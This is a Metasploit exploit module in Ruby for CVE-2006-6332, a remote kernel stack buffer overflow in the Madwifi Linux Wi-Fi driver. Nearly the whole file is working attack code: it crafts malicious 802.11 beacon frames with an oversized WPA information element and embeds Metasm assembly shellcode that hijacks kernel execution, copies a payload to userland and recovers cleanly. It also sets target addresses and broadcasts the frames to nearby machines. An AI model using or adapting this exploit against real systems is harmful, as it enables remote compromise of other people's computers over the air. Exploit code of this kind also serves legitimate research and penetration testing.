# Madwifi remote kernel exploit # 100% reliable, does'nt crash wifi stack, can exploit # same target multiple times # # Julien TINNES <julien at cr0.org> # Laurent BUTTI <0x9090 at gmail.com> # # vuln in giwscan_cb, here's the path: # # ieee80211_ioctl_giwscan -> ieee80211_scan_iterate -> sta_iterate -> giwscan_cb # require 'msf/core' require 'metasm' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Lorcon2 def initialize(info = {}) super(update_info(info, 'Name' => 'Madwifi SIOCGIWSCAN Buffer Overflow', 'Description' => %q{ The Madwifi driver under Linux is vulnerable to a remote kernel-mode stack-based buffer overflow. The vulnerability is triggered by one of these properly crafted . information element: WPA, RSN, WME and Atheros OUI Current madwifi . driver (0.9.2) and and all madwifi-ng drivers since r1504 are . vulnerable . Madwifi 0.9.2.1 release corrects the issue. This module has been tested against Ubuntu 6.10 and is 100% reliable, does'nt crash the Wifi stack and can exploit the same machine multiple time without the need to reboot it. This module depends on the Lorcon2 library and only works on the Linux platform with a supported wireless card. Please see the Ruby Lorcon2 documentation (external/ruby-lorcon/README) for more information. }, 'Author' => [ 'Julien Tinnes <julien at cr0.org>', 'Laurent Butti <0x9090 at gmail.com>' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'Targets' => [ ['Ubuntu 6.10', { 'JMPESP' => 0xffffe777, 'scan_iterate_ra' => "0x8014401" }], ['Generic (you need non randomized vdso)', { 'JMPESP' => 0xffffe777, 'scan_iterate_ra' => nil }] ], # 'Stance' => Msf::Exploit::Stance::Passive, 'Payload' => { #'Space' => 65, # Metasploit does'nt support dynamic size payloads # so we will handle this in metasm instead and ask for # the smaller payload possible #'Encoder' => Msf::Encoder::Type::Raw, 'DisableNops' => true }, 'Platform' => 'linux', 'Arch' => [ ARCH_X86], 'References' => [ ['CVE', '2006-6332'], ['OSVDB', '31267'], ['URL', 'http://www.madwifi.org'], ] )) register_options( [ OptBool.new('SINGLESHOT', [ true, "Break after first victim (for msfcli)", 'false']), OptString.new('SSID', [ true, "The SSID of the emulated access point", 'test']), OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 600]), OptInt.new('LENGTH', [ true, "Length after local variables in giwscan_cb() to overwrite", 24]), OptString.new('ADDR_DST', [ true, "The MAC address of the target system", 'FF:FF:FF:FF:FF:FF']), ], self.class) end def exploit open_wifi #puts "kikoo " + payload.encoded.inspect #puts payload.encoded.to_s.unpack('C*').map { |i| i.to_s 16 }.join(',') stime = Time.now.to_i rtime = datastore['RUNTIME'].to_i count = 0 print_status("Shellcode size is: #{payload.encoded.length} bytes") print_status("Creating malicious beacon frame...") frame = create_beacon() print_status("Sending malicious beacon frames for #{datastore['RUNTIME']} seconds...") while (stime + rtime > Time.now.to_i) wifi.write(frame) select(nil, nil, nil, 0.10) if (count % 100 == 0) count += 1 break if session_created? and datastore['SINGLESHOT'] end print_status("Completed sending #{count} beacons.") end def create_beacon ssid = datastore['SSID'].to_s bssid = Rex::Text.rand_text(6) channel = datastore['CHANNEL'].to_i len = datastore['LENGTH'].to_i seq = [rand(255)].pack('n') jmpesp = target['JMPESP'] # jmp esp in vdso scan_iterate_ra=target['scan_iterate_ra'] # address just after the call # in ieee80211_scan_iterate in wlan.ko if scan_iterate_ra howtoreturn="RETURN_PROPERLY" # Return to the parent of giwscan_cb parent else howtoreturn="RETURN_BADLY" # Return to userland with IRET end bssiwlist = 0x0804ddd0 stacksize="STACK_8K" getregs="CALCULATE" #getregs="IWANTTOSCANMANUALLY" reg_cs="0x73" reg_ss="0x7b" wiframe = Metasm::Shellcode.assemble Metasm::Ia32.new, <<EOS #define #{stacksize} 1 #define #{getregs} 1 #define CS #{reg_cs} #define SS #{reg_ss} #define #{howtoreturn} 1 ; chunk1 db 0, 0x50, 0xf2 ; wpa_oui db 1 ; wpa_typ db 1, 0 ; wpa_ver back2: ;push 0x1C ;ret ;cld #ifdef RETURN_PROPERLY mov ebx, esp ; save esp #endif #ifdef IWANTTOSCANMANUALLY mov eax, 4 checkforcs: add esp, eax cmp dword ptr [esp], 0x73 ; scan for cs jnz checkforcs cmp dword ptr [esp+12], 0x7b ; scan for ss jnz checkforcs mov edi, dword ptr [esp+8] ; put user stack address in edi push edi ; NO SCAN, calculate the good value #else #ifdef STACK_8K or esp, (0x2000-1) ; assume 8K stack #else or esp, (0x1000-1) ; assume 4K stack #endif sub esp, 0x17 ; cf return_from_syscall mov edi, dword ptr [esp+8] push edi ; IWANTTOSCANMANUALLY #endif ; We can also go to BSS instead of stack ;mov edi, #{bssiwlist} ;push edi call endsc beginsc: #if 0 call greetings toto db "You're pwn3d :(\\n" greetings: mov eax, 4 mov ebx, 1 pop ecx mov edx, (greetings - toto) int 0x80 #endif xor eax, eax inc eax inc eax int 0x80 ; fork cmp eax, 0 jnz doexit ;#include "/home/julien/Audit/metasploit3/modules/exploits/linux/madwifi/connectback.asm" ;; Metasploit's shellcode integration ; Old, bad method ;metasc db "#{payload.encoded.unpack('C*').map { |i| '\\x%02x' % i }.join}" ; this will be replaced by metasploit's payload metasc: ; metasm will add padding here so that the next .offset is honored .pad db 0x33 metascend: doexit: #if 1 ; exit xor eax, eax inc eax ;mov ebx, 42 int 0x80 #endif endsc: pop esi ; let's copy the shellcode to userland mov ecx, endsc - beginsc rep movsb #ifdef RETURN_PROPERLY mov esp, ebx ; restore stack pointer ; If SCANFOR_SCAN_ITERATE defined ; scan for ieee80211_scan_iterate ; example address: e0b46401 (scan_iterate+0x11) ; It should be easier to use this if porting the exploit in a hurry ;#define SCANFOR_SCAN_ITERATE #ifdef SCANFOR_SCAN_ITERATE sub esp, 4 ; you can remove this in most cases checkforretadd: add esp, 4 mov ebx, dword ptr [esp+16] ; scan for return address, we know that we have ; four saved register before the return address ; (+16) and ebx, 0x07FF cmp ebx, #{scan_iterate_ra} & 0x07FF jnz checkforretadd ;mov ebp, edi ; fixup EBP (cf end of ieee80211_ioctl_giwscan which will use it) ; we need a writeable address #endif ; Here we know the stack layout and esp already has the correct value pop ebx ; Well, no need to fixup EBP, just run ; sta_iterate epilogue, thanks Staphane Duverger, ; how could I miss that! pop esi pop edi pop ebp ; release the locks push esi ; save esi mov eax, edi ; we use the fact that edi has the same value in ieee80211_ioctl_giwscan ; just before the call to i*_scan_iterate and in sta_iterate just before ; the ret mov eax, [eax+0x978] ; cf. i*_scan_iterate mov esi, [eax+8] ; cf. sta_iterate xor eax, eax inc eax mov edx, eax ;xchg dl, [esi] ; already unlocked xchg al, [esi+0x8C] ; release the lock! pop esi ret ; end of sta_iterate epilogue ; Else we don't return properly #else ; we directly return from the syscall iret #endif .offset 64*2+21 ; chunk2 back1: jmp.i back2 dd 0 ; this MUST be zero ; chunk3 dd 0, 0, 0, 0 ; end_buf, current_ev, ieee, iwscanreq ; chunk4 db #{len-6} dup(0x33) ;dd 0xffffe777 ; addr of 'jmp esp' in vdso page dd #{jmpesp} jmp.i8 back1 ; assert .offset 198 ;.padto 198 ; assert EOS wiframe.encoded.patch("metasc", "metascend", payload.encoded) value = wiframe.encode_string #, 'monadresseip'=>(('172.24.94.252'.split('.').reverse.inject(0) { |ip, byte| (ip << 8) | byte.to_i }) ^ 0xffffffff) #puts value[-10..-1].unpack('C*').map { |i| i.to_s 16 }.join(',') if (len == 24 and value.length != 198) raise "Value is too big! #{value.length}" end buf = "\xdd" + value.length.chr + value frame = "\x80" + # type/subtype "\x00" + # flags "\x00\x00" + # duration eton(datastore['ADDR_DST']) + # dst bssid + # src bssid + # bssid seq + # seq Rex::Text.rand_text(8) + # timestamp value "\x64\x00" + # beacon interval "\x01\x00" + # capabilities # ssid IE "\x00" + ssid.length.chr + ssid + # supported rates IE "\x01\x08\x82\x84\x8b\x96\x0c\x18\x30\x48" + # channel IE "\x03" + "\x01" + channel.chr + # invalid wpa IE buffer overflow # wpa ie is an example, still valid for other IEs buf return frame end end